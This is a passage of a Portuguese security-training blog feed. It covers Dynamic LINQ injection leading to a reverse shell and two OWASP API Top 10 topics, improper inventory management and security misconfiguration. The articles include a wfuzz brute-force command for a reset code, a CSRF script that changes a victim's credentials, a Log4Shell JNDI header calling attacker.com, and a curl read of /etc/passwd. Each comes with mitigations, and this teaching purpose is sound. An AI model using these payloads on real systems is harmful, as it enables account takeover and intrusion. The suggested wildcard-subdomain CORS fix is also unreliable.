compara&#xE7;&#xE3;o, conseguimos um valor booleano.</p><h3 id="enviando-payload-e-recebendo-reverse-shell">Enviando payload e recebendo reverse shell:</h3><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/02-gif-3.gif" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="2000" height="1120" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/02-gif-3.gif 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/02-gif-3.gif 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/02-gif-3.gif 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/02-gif-3.gif 2400w" sizes="(min-width: 720px) 720px"></figure><h3 id="explorando-no-endpoint-de-orderby">Explorando no endpoint de orderBy</h3><p>No endpoint onde temos controle no orderBy, basta inserir a payload sem nenhuma modifica&#xE7;&#xE3;o, com isso,  conseguimos explorar e obter uma reverse shell:</p><figure class="kg-card kg-image-card"><img src="https://blog.hackingclub.com/content/images/2023/11/Peek-2023-11-22-19-02asdf.gif" class="kg-image" alt="O Blindspot do C#" loading="lazy" width="2000" height="1066" srcset="https://blog.hackingclub.com/content/images/size/w600/2023/11/Peek-2023-11-22-19-02asdf.gif 600w, https://blog.hackingclub.com/content/images/size/w1000/2023/11/Peek-2023-11-22-19-02asdf.gif 1000w, https://blog.hackingclub.com/content/images/size/w1600/2023/11/Peek-2023-11-22-19-02asdf.gif 1600w, https://blog.hackingclub.com/content/images/size/w2400/2023/11/Peek-2023-11-22-19-02asdf.gif 2400w" sizes="(min-width: 720px) 720px"></figure><h2 id="laborat%C3%B3rio-utilizado">Laborat&#xF3;rio utilizado</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/crowsec-edtech/blog/tree/main/chall-dynamic-linq-injection-to-rce?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">blog/chall-dynamic-linq-injection-to-rce at main &#xB7; crowsec-edtech/blog</div><div class="kg-bookmark-description">Repository for labs of the crowsec blog. Contribute to crowsec-edtech/blog development by creating an account on GitHub.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="O Blindspot do C#"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">crowsec-edtech</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://opengraph.githubassets.com/f0bfabc72fe12b3fdeaa321789e9ecb3381a7dafea7ae40ffbf076283a3a5aee/crowsec-edtech/blog" alt="O Blindspot do C#"></div></a></figure><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://research.nccgroup.com/2023/06/13/dynamic-linq-injection-remote-code-execution-vulnerability-cve-2023-32571/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Dynamic Linq Injection Remote Code Execution Vulnerability (CVE-2023-32571)</div><div class="kg-bookmark-description">Product Details NameSystem.Linq.Dynamic.CoreAffected versions1.0.7.10 to 1.2.25Fixed versions&gt;= 1.3.0URL Vulnerability Summary CVECVE-2023-32571CWECWE-184: Incomplete List of Disallowed InputsCV&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://i0.wp.com/research.nccgroup.com/wp-content/uploads/2023/03/cropped-NCC-Group-Favicon.png?fit=192%2C192&amp;ssl=1" alt="O Blindspot do C#"><span class="kg-bookmark-author">NCC Group Research Blog</span><span class="kg-bookmark-publisher">Ross Bradley</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://i0.wp.com/research.nccgroup.com/wp-content/uploads/2023/03/cropped-NCC-Group-Favicon.png?fit=512%2C512&amp;ssl=1" alt="O Blindspot do C#"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Linq Injection &#x2013; From Attacking Filters to Code Execution</div><div class="kg-bookmark-description">Some of you (especially the .Net guys) might have heard of the query language Linq (Language Integrated Query) used by Microsoft .Net applications and web sites. It&#x2019;s used to access data from various sources like databases, files and internal lists. It can internally transform the accessed data in a&#x2026;</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://insinuator.net/wp-content/themes/insinuator2/images/favicons/apple-icon-180x180.png" alt="O Blindspot do C#"><span class="kg-bookmark-author">Insinuator.net</span><span class="kg-bookmark-publisher">Timo Schmid</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://asciinema.org/a/5b11mfcjlaxz0gcx1hc669o35.png" alt="O Blindspot do C#"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-8.0&amp;ref=blog.hackingclub.com#system-diagnostics-process-start(system-string-system-string)"><div class="kg-bookmark-content"><div class="kg-bookmark-title">Process.Start Method (System.Diagnostics)</div><div class="kg-bookmark-description">Starts a process resource and associates it with a Process component.</div><div class="kg-bookmark-metadata"><span class="kg-bookmark-author">Microsoft Learn</span><span class="kg-bookmark-publisher">dotnet-bot</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://learn.microsoft.com/en-us/media/open-graph-image.png" alt="O Blindspot do C#"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://learn.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-8.0&amp;ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">MethodBase.Invoke Method (System.Reflection)</div><div class="kg-bookmark-description">Invokes the method or constructor reflected by this MethodInfo instance.</div><div class="kg-bookmark-metadata"><span class="kg-bookmark-author">Microsoft Learn</span><span class="kg-bookmark-publisher">dotnet-bot</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://learn.microsoft.com/en-us/media/open-graph-image.png" alt="O Blindspot do C#"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.createinstanceandunwrap?view=net-7.0&amp;ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">AppDomain.CreateInstanceAndUnwrap Method (System)</div><div class="kg-bookmark-description">Creates a new instance of a specified type.</div><div class="kg-bookmark-metadata"><span class="kg-bookmark-author">Microsoft Learn</span><span class="kg-bookmark-publisher">dotnet-bot</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://learn.microsoft.com/en-us/media/open-graph-image.png" alt="O Blindspot do C#"></div></a></figure><h2 id="sobre-o-hacking-club">Sobre o Hacking Club</h2><p>O Hacking Club &#xE9; uma plataforma de treinamento em cybersecurity, que permite voc&#xEA; aprender hacking de forma totalmente pr&#xE1;tica.</p><p>Temos mais de 140 ambientes com vulnerabilidades reais com write-ups para voc&#xEA; treinar e aprender hacking. Semanalmente lan&#xE7;amos<a href="https://app.hackingclub.com/?ref=blog.hackingclub.com"> <strong>m&#xE1;quinas gratuitas</strong></a> para voc&#xEA; praticar e se desafiar no hacking!</p>]]></content:encoded></item><item><title><![CDATA[OWASP TOP 10 API - Improper Inventory Management em APIs — Riscos e Impactos na Segurança]]></title><description><![CDATA[<p>A falta de documenta&#xE7;&#xE3;o completa e atualizada de APIs representa um risco cr&#xED;tico em ambientes modernos de <strong>Cyber Security</strong>, podendo expor endpoints esquecidos, vers&#xF5;es obsoletas e funcionalidades n&#xE3;o monitoradas. Essa falha de governan&#xE7;a &#xE9; conhecida como <strong>Improper Inventory Management</strong></p>]]></description><link>https://blog.hackingclub.com/owasp-top-10/</link><guid isPermaLink="false">64ee1f80d192d0040d8ac913</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Mon, 09 Oct 2023 14:24:28 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/API_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/API_-HC_BLOG-1.jpg" alt="OWASP TOP 10 API - Improper Inventory Management em APIs &#x2014; Riscos e Impactos na Seguran&#xE7;a"><p>A falta de documenta&#xE7;&#xE3;o completa e atualizada de APIs representa um risco cr&#xED;tico em ambientes modernos de <strong>Cyber Security</strong>, podendo expor endpoints esquecidos, vers&#xF5;es obsoletas e funcionalidades n&#xE3;o monitoradas. Essa falha de governan&#xE7;a &#xE9; conhecida como <strong>Improper Inventory Management</strong>, uma vulnerabilidade comum em ecossistemas de APIs que dificulta o controle de ativos digitais e amplia significativamente a superf&#xED;cie de ataque.</p><p>Reconhecida como uma das principais amea&#xE7;as modernas, essa vulnerabilidade ocupa a 9&#xAA; posi&#xE7;&#xE3;o no <strong>OWASP API Security Top 10</strong>, servindo como alerta para organiza&#xE7;&#xF5;es que desenvolvem aplica&#xE7;&#xF5;es web, microsservi&#xE7;os e integra&#xE7;&#xF5;es externas. A aus&#xEA;ncia de invent&#xE1;rio adequado pode permitir acesso n&#xE3;o autorizado, vazamento de dados sens&#xED;veis e explora&#xE7;&#xE3;o de servi&#xE7;os legados sem monitoramento.</p><h2 id="a-api-%C3%A9-vulner%C3%A1vel">A API &#xE9; vulner&#xE1;vel?</h2><p>Uma API que possu&#xED; &quot;pontos cegos&quot; na documenta&#xE7;&#xE3;o est&#xE1; vulner&#xE1;vel &#xE0; Improper Inventory Management.</p><p>Uma API tem um &quot;ponto cego na documenta&#xE7;&#xE3;o&quot; se:</p><ul><li>A finalidade de um host de API n&#xE3;o &#xE9; clara e n&#xE3;o h&#xE1; respostas expl&#xED;citas para as seguintes perguntas</li><li>Em qual ambiente a API est&#xE1; sendo executada (por exemplo, produ&#xE7;&#xE3;o, prepara&#xE7;&#xE3;o, teste, desenvolvimento)?</li><li>Quem deve ter acesso de rede &#xE0; API (por exemplo, p&#xFA;blico, interno, parceiros)?</li><li>Qual vers&#xE3;o da API est&#xE1; em execu&#xE7;&#xE3;o?</li><li>N&#xE3;o h&#xE1; documenta&#xE7;&#xE3;o ou a documenta&#xE7;&#xE3;o existente n&#xE3;o est&#xE1; atualizada.</li><li>N&#xE3;o h&#xE1; plano de aposentadoria para cada vers&#xE3;o da API.</li><li>O invent&#xE1;rio do host est&#xE1; ausente ou desatualizado.</li></ul><p>Uma API tem um &quot;ponto cego no fluxo de dados&quot; se:</p><ul><li>Existe um &quot;fluxo de dados confidenciais&quot; onde a API compartilha dados confidenciais com aplicativos de terceiros</li><li>N&#xE3;o h&#xE1; justificativa comercial ou aprova&#xE7;&#xE3;o do fluxo</li><li>N&#xE3;o h&#xE1; invent&#xE1;rio ou visibilidade do fluxo</li><li>N&#xE3;o h&#xE1; visibilidade profunda de que tipo de dados confidenciais s&#xE3;o compartilhados</li></ul><h2 id="cen%C3%A1rios-vulner%C3%A1veis">Cen&#xE1;rios vulner&#xE1;veis</h2><h3 id="cen%C3%A1rio-1"><br>Cen&#xE1;rio #1</h3><p>Uma rede social utiliza um endpoint de API para recuperar as senhas dos usu&#xE1;rios. Esse endpoint espera um c&#xF3;digo de 6 digitos enviado para o email da conta a ser recuperada.</p><p>Um atacante descobre o email do usu&#xE1;rio alvo e faz brute force no c&#xF3;digo de 6 digitos, por&#xE9;m, rapidamente ele &#xE9; bloqueado. O endpoint acessado foi: &quot;/v3/auth/reset-password&quot;.<br><br>Ap&#xF3;s um processo de enumera&#xE7;&#xE3;o, ele descobre um endpoint que n&#xE3;o estava na documenta&#xE7;&#xE3;o da API: &quot;/v1/auth/reset-password&quot;. Pelo fato do endpoint &quot;/v1/auth/reset-password&quot; n&#xE3;o estar documentado na API, os desenvolvedores n&#xE3;o implementaram patches de seguran&#xE7;a e atualiza&#xE7;&#xF5;es.<br><br>Ao tentar brute force nesse endpoint, ele percebe que n&#xE3;o h&#xE1; prote&#xE7;&#xF5;es contra esse tipo de ataque, ent&#xE3;o ele consegue rapidamente descobrir o c&#xF3;digo de 6 digitos enviado ao email do usu&#xE1;rio e consegue alterar a senha do mesmo.</p><pre><code class="language-BASH">wfuzz -c -z range,000000-999999 -d &quot;{\&quot;code\&quot;: FUZZ}&quot; -H &quot;Content-type: application/json&quot; -H &quot;reset-password-token: xxxxx&quot; -t 150 https://api.redesocialx.com/v1/auth/reset-password</code></pre><h3 id="cen%C3%A1rio-2">Cen&#xE1;rio #2</h3><p>Um aplicativo de mensagens possu&#xED; um sistema onde &#xE9; poss&#xED;vel fazer integra&#xE7;&#xF5;es com aplicativos de terceiros. Esses aplicativos ter&#xE3;o acesso a todas as mensagens particulares e grupos do usu&#xE1;rio. Por&#xE9;m na API n&#xE3;o est&#xE1; documentado que os aplicativos de terceiros podem acessar mensagens particulares.</p><p>Com o conhecimento de que aplicativos de terceiros podem acessar as conversas dos usu&#xE1;rios, um grupo de hackers criam uma campanha de phishing para que v&#xE1;rios usu&#xE1;rios do aplicativo de mensagens utilizem o aplicativo malicioso criado pelos hackers, e assim eles conseguem visualizar mensagens, fotos, documentos pessoais entre outras coisas que os usu&#xE1;rios compartilham em suas conversas.</p><h2 id="protegendo-as-apis-do-improper-inventory-management">Protegendo as APIs do Improper Inventory Management</h2><p>Documentando todos as vers&#xF5;es, endpoints, par&#xE2;metros entre outas funcionalidades das APIs, o time de desenvolvimento, QA e AppSec conseguem oferecer melhor suporte e prote&#xE7;&#xE3;o ao c&#xF3;digo. Grandes APIs com m&#xE1; documenta&#xE7;&#xE3;o se tornam um pesadelo para os desenvolvedores e um presente para os hackers.</p><h3 id="recomenda%C3%A7%C3%B5es-fornecidas-pela-owasp">Recomenda&#xE7;&#xF5;es fornecidas pela OWASP:</h3><ul><li>Documente todos os hosts da API e aspectos importantes de cada um deles, com foco no ambiente da API (ex: produ&#xE7;&#xE3;o, staging, teste, desenvolvimento), quem deve ter acesso de rede ao host (ex: p&#xFA;blico, interno, parceiros) e a vers&#xE3;o da API.</li><li>Documente servi&#xE7;os integrados e aspectos importantes como o seu papel no sistema, quais dados s&#xE3;o trocados (fluxo de dados) e sua sensibilidade.</li><li>Documente todos os aspectos da sua API, como autentica&#xE7;&#xE3;o, erros, redirecionamentos, limita&#xE7;&#xE3;o de taxa, cross-origin resource sharing (CORS) e endpoints, incluindo seus par&#xE2;metros, solicita&#xE7;&#xF5;es e respostas.</li><li>Gere documenta&#xE7;&#xE3;o automaticamente adotando padr&#xF5;es abertos. Inclua a compila&#xE7;&#xE3;o da documenta&#xE7;&#xE3;o em seu pipeline de CI/CD.</li><li>Disponibilize a documenta&#xE7;&#xE3;o da API apenas para aqueles autorizados a us&#xE1;-la.</li><li>Use medidas de prote&#xE7;&#xE3;o externa, como solu&#xE7;&#xF5;es espec&#xED;ficas de seguran&#xE7;a de API, para todas as vers&#xF5;es expostas de suas APIs, n&#xE3;o apenas para a vers&#xE3;o de produ&#xE7;&#xE3;o atual.</li><li>Evite usar dados de produ&#xE7;&#xE3;o com implanta&#xE7;&#xF5;es de API que n&#xE3;o sejam de produ&#xE7;&#xE3;o. Se isso for inevit&#xE1;vel, esses endpoints dever&#xE3;o receber o mesmo tratamento de seguran&#xE7;a que os de produ&#xE7;&#xE3;o.</li><li>Quando vers&#xF5;es mais recentes de APIs incluem melhorias de seguran&#xE7;a, realize uma an&#xE1;lise de risco para informar as a&#xE7;&#xF5;es de mitiga&#xE7;&#xE3;o necess&#xE1;rias para as vers&#xF5;es mais antigas. Por exemplo, se &#xE9; poss&#xED;vel fazer backport das melhorias sem quebrar a compatibilidade da API ou se voc&#xEA; precisa retirar a vers&#xE3;o mais antiga rapidamente e for&#xE7;ar todos os clientes a migrarem para a vers&#xE3;o mais recente.</li></ul><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API9:2023 Improper Inventory Management - OWASP API Security Top 10</div><div class="kg-bookmark-description">The Ten Most Critical API Security Risks</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://owasp.org/API-Security/assets/images/favicon.png" alt="OWASP TOP 10 API - Improper Inventory Management em APIs &#x2014; Riscos e Impactos na Seguran&#xE7;a"><span class="kg-bookmark-author">logo</span><span class="kg-bookmark-publisher">OWASP API Security Project team</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://owasp.org/API-Security/assets/images/icon.png" alt="OWASP TOP 10 API - Improper Inventory Management em APIs &#x2014; Riscos e Impactos na Seguran&#xE7;a"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[OWASP TOP 10 API - Security Misconfiguration — Falhas Críticas de Configuração em APIs e Aplicações]]></title><description><![CDATA[<p><strong>Security Misconfiguration</strong> &#xE9; uma das vulnerabilidades mais recorrentes em ambientes modernos de <strong>Cyber Security</strong>, afetando aplica&#xE7;&#xF5;es web, APIs e infraestruturas em nuvem configuradas de forma inadequada. </p><p>Devido &#xE0; sua alta incid&#xEA;ncia em cen&#xE1;rios reais, o problema figura entre as principais amea&#xE7;as</p>]]></description><link>https://blog.hackingclub.com/owasp-api-top-10-security-misconfiguration/</link><guid isPermaLink="false">64b835e1dfa294040097eabc</guid><dc:creator><![CDATA[Murilo Caixeta]]></dc:creator><pubDate>Mon, 04 Sep 2023 22:57:15 GMT</pubDate><media:content url="https://blog.hackingclub.com/content/images/2026/03/security_-HC_BLOG-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.hackingclub.com/content/images/2026/03/security_-HC_BLOG-1.jpg" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"><p><strong>Security Misconfiguration</strong> &#xE9; uma das vulnerabilidades mais recorrentes em ambientes modernos de <strong>Cyber Security</strong>, afetando aplica&#xE7;&#xF5;es web, APIs e infraestruturas em nuvem configuradas de forma inadequada. </p><p>Devido &#xE0; sua alta incid&#xEA;ncia em cen&#xE1;rios reais, o problema figura entre as principais amea&#xE7;as listadas no <strong>OWASP API Security Top 10</strong>, ocupando a 8&#xAA; posi&#xE7;&#xE3;o no ranking. Configura&#xE7;&#xF5;es incorretas podem expor dados sens&#xED;veis, permitir acesso n&#xE3;o autorizado a funcionalidades internas e facilitar ataques como escalonamento de privil&#xE9;gios e comprometimento de servi&#xE7;os.</p><h2 id="o-que-%C3%A9-security-misconfiguration">O que &#xE9; Security Misconfiguration?</h2><p>O Security Misconfiguration &#xE9; uma vulnerabilidade que ocorre quando servidores, servi&#xE7;os, permiss&#xF5;es ou recursos de seguran&#xE7;a permanecem com configura&#xE7;&#xF5;es padr&#xE3;o, desatualizadas ou excessivamente permissivas, criando brechas que podem ser exploradas por atacantes.</p><p>Uma API pode estar vulner&#xE1;vel se:</p><ul><li>Se houver permiss&#xF5;es configuradas incorretamente nos servi&#xE7;os de nuvem ou na API.</li><li>Os patches de seguran&#xE7;a mais recentes est&#xE3;o ausentes ou os sistemas est&#xE3;o desatualizados</li><li>Recursos desnecess&#xE1;rios est&#xE3;o ativados (por exemplo, m&#xE9;todos HTTP, recursos de registro)</li><li>Existem discrep&#xE2;ncias na forma como as solicita&#xE7;&#xF5;es recebidas s&#xE3;o processadas pelos servidores na cadeia de servidores HTTP</li><li>A seguran&#xE7;a da camada de transporte (TLS) est&#xE1; ausente</li><li>As diretivas de seguran&#xE7;a ou controle de cache n&#xE3;o s&#xE3;o enviadas aos clientes</li><li>Uma pol&#xED;tica de compartilhamento de recursos entre origens (CORS) est&#xE1; ausente ou definida incorretamente</li><li>As mensagens de erro exp&#xF5;em outras informa&#xE7;&#xF5;es confidenciais</li></ul><h2 id="exemplos-de-cen%C3%A1rios-de-ataque">Exemplos de cen&#xE1;rios de ataque:</h2><h3 id="cen%C3%A1rio-1">Cen&#xE1;rio 1</h3><p>Uma API possu&#xED; o endpoint <code>/v1/profile/update</code>, ele permite com que o usu&#xE1;rio atualize sua senha, email, endere&#xE7;o, etc... Na etapa de configura&#xE7;&#xE3;o de CORS, o <code>Access-Control-Allow-Origin</code> foi configurado para permitir requisi&#xE7;&#xF5;es de qualquer origem:</p><pre><code>HTTP/1.1 200 OK
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *
...

{
    &quot;status&quot;: &quot;success&quot;,
    &quot;message&quot;: &quot;updated&quot;
}
</code></pre><p>Isso permite com que um atacante roube contas explorando uma vulnerabilidade conhecida como <strong>CSRF</strong>.</p><p>Considere que a API vulner&#xE1;vel est&#xE1; em &quot;https://sitealvo.com/api&quot;.</p><p>Um atacante poderia criar um site com um javascript malicioso para atualizar as informa&#xE7;&#xF5;es das v&#xED;timas automaticamente:</p><p>index.html</p><pre><code>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Hello&lt;/title&gt;
    &lt;script src=&quot;malicious.js&quot;&gt;&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;h1&gt;Hello&lt;/h1&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre><p>malicious.js</p><pre><code>const malicious_data = {&quot;email&quot;: &quot;attacker.csrf@mail.com&quot;, &quot;password&quot;: &quot;newpassword123&quot;}

fetch(&quot;https://sitealvo.com/api/v1/profile/update&quot;, {
    method: &quot;POST&quot;,
    headers: {
        &quot;Content-type&quot;: &quot;application/json&quot;
    },
    body: JSON.stringify(malicious_data)
});</code></pre><p>Assim que um usu&#xE1;rio do site &quot;https://sitealvo.com&quot; acessar o site do atacante, seus dados ser&#xE3;o atualizados.</p><p>Para previnir esse ataque basta configurar o header <code>Access-Control-Allow-Origin</code> para permitir <strong>apenas </strong>requisi&#xE7;&#xF5;es que tenham origem do pr&#xF3;prio dom&#xED;nio:</p><pre><code>HTTP/1.1 200 OK
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *.sitealvo.com
...

{
    &quot;status&quot;: &quot;success&quot;,
    &quot;message&quot;: &quot;updated&quot;
}
</code></pre><h3 id="cen%C3%A1rio-2">Cen&#xE1;rio 2</h3><p>Uma API utiliza o Log4j-api para gravar as requisi&#xE7;&#xF5;es dos usu&#xE1;rios em um arquivo de log. Se o Log4j-api n&#xE3;o estiver atualizado, e o usu&#xE1;rio tiver controle sobre o conte&#xFA;do armazenado nos arquivos de log, seria extremamente prejudicial para a aplica&#xE7;&#xE3;o, pois um atacante conseguiria explorar uma vulnerabilidade no Log4j conhecida como Log4shell, conseguindo RCE no servidor.</p><p>Supondo que a aplica&#xE7;&#xE3;o armazene todos os dados de uma requisi&#xE7;&#xE3;o no arquivo de log, um atacante poderia enviar a seguinte requisi&#xE7;&#xE3;o maliciosa para obter RCE:</p><pre><code>GET /api/v1/users/3
Content-type: application/json
X-XPL-HEADER: ${jndi:ldap://attacker.com/Malicious.class}
X-Access-Token: xxx.xxx.xxx</code></pre><p>E para gerar e hospedar a classe maliciosa, ele poderia utilizar exploits p&#xFA;blicos, como de exemplo:</p><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/kozmer/log4j-shell-poc?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.</div><div class="kg-bookmark-description">A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">kozmer</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://repository-images.githubusercontent.com/437139341/b1a57c3f-71e1-4bbf-b299-717490b428fd" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"></div></a></figure><p>O problema nesse cen&#xE1;rio &#xE9; que o Log4j est&#xE1; desatualizado, e isso prejudicou a aplica&#xE7;&#xE3;o, por&#xE9;m se ele for atualizado, a vulnerabilidade ser&#xE1; corrigida.</p><h2 id="cen%C3%A1rio-3">Cen&#xE1;rio 3</h2><p>Um website utiliza o EJS para servir seus templates e arquivos est&#xE1;ticos. No seu desenvolvimento, o programador configurou o EJS para servir a pasta &quot;./public&quot;, assim quando o usu&#xE1;rio acessar &quot;/images/crowsec.png&quot; o arquivo &quot;./public/images/crowsec.png&quot; ser&#xE1; enviado como resposta.</p><pre><code>const express = require(&apos;express&apos;);
const app = express()

app.set(&apos;view engine&apos;, &apos;ejs&apos;)
app.use(&apos;/&apos;, express.static(&apos;./public/&apos;));

...</code></pre><p>Por&#xE9;m ap&#xF3;s uma manuten&#xE7;&#xE3;o no c&#xF3;digo, o desenvolvedor adicionou o seguinte c&#xF3;digo:</p><pre><code>const express = require(&apos;express&apos;);
const app = express();

app.set(&apos;view engine&apos;, &apos;ejs&apos;)
app.use(&apos;/public/&apos;, express.static(&apos;./public/&apos;));
app.use(&apos;/&apos;, express.static(&apos;/&apos;));

...</code></pre><p>Agora esse c&#xF3;digo possu&#xED; uma misconfiguration, pois est&#xE1; servindo a raiz do sistema como diret&#xF3;rio para arquivos est&#xE1;ticos. Com isso, um usu&#xE1;rio mal intencionado consegue ler arquivos do sistema, como o /etc/passwd. Usando o CURL para isso:</p><pre><code>curl http://site.com/etc/passwd</code></pre><p>Uma pr&#xE1;tica muito importante &#xE9; configurar para servir apenas os diret&#xF3;rios/arquivos que est&#xE3;o no diret&#xF3;rio da aplica&#xE7;&#xE3;o usando &quot;__dirname&quot;:</p><pre><code>const express = require(&apos;express&apos;);
const app = express();

app.set(&apos;view engine&apos;, &apos;ejs&apos;)
app.use(&apos;/public/&apos;, express.static(__dirname + &apos;/public&apos;));</code></pre><h2 id="refer%C3%AAncias">Refer&#xEA;ncias</h2><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://owasp.org/API-Security/editions/2023/en/0xa8-security-misconfiguration/?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">API8:2023 Security Misconfiguration - OWASP API Security Top 10</div><div class="kg-bookmark-description">The Ten Most Critical API Security Risks</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://owasp.org/API-Security/assets/images/favicon.png" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"><span class="kg-bookmark-author">logo</span><span class="kg-bookmark-publisher">OWASP API Security Project team</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://owasp.org/API-Security/assets/images/icon.png" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://portswigger.net/web-security/cors?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">What is CORS (cross-origin resource sharing)? Tutorial &amp; Examples | Web Security Academy</div><div class="kg-bookmark-description">In this section, we will explain what cross-origin resource sharing (CORS) is, describe some common examples of cross-origin resource sharing based attacks, ...</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://portswigger.net/content/images/logos/apple-touch-icon.png" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"><span class="kg-bookmark-author">Web Security Academy</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://portswigger.net/content/images/logos/academy-twittercard.png" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"></div></a></figure><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/kozmer/log4j-shell-poc?ref=blog.hackingclub.com"><div class="kg-bookmark-content"><div class="kg-bookmark-title">GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.</div><div class="kg-bookmark-description">A Proof-Of-Concept for the CVE-2021-44228 vulnerability. - GitHub - kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.com/fluidicon.png" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">kozmer</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://repository-images.githubusercontent.com/437139341/b1a57c3f-71e1-4bbf-b299-717490b428fd" alt="OWASP TOP 10 API - Security Misconfiguration &#x2014; Falhas Cr&#xED;ticas de Configura&#xE7;&#xE3;o em APIs e Aplica&#xE7;&#xF5;es"></div></a></figure>]]></content:encoded></item><item><title><![CDATA[OWASP TOP 10 API - Unrestricted Access to Sensitive Business Flows — Riscos Críticos em APIs]]></title><description><![CDATA[<p>A vulnerabilidade 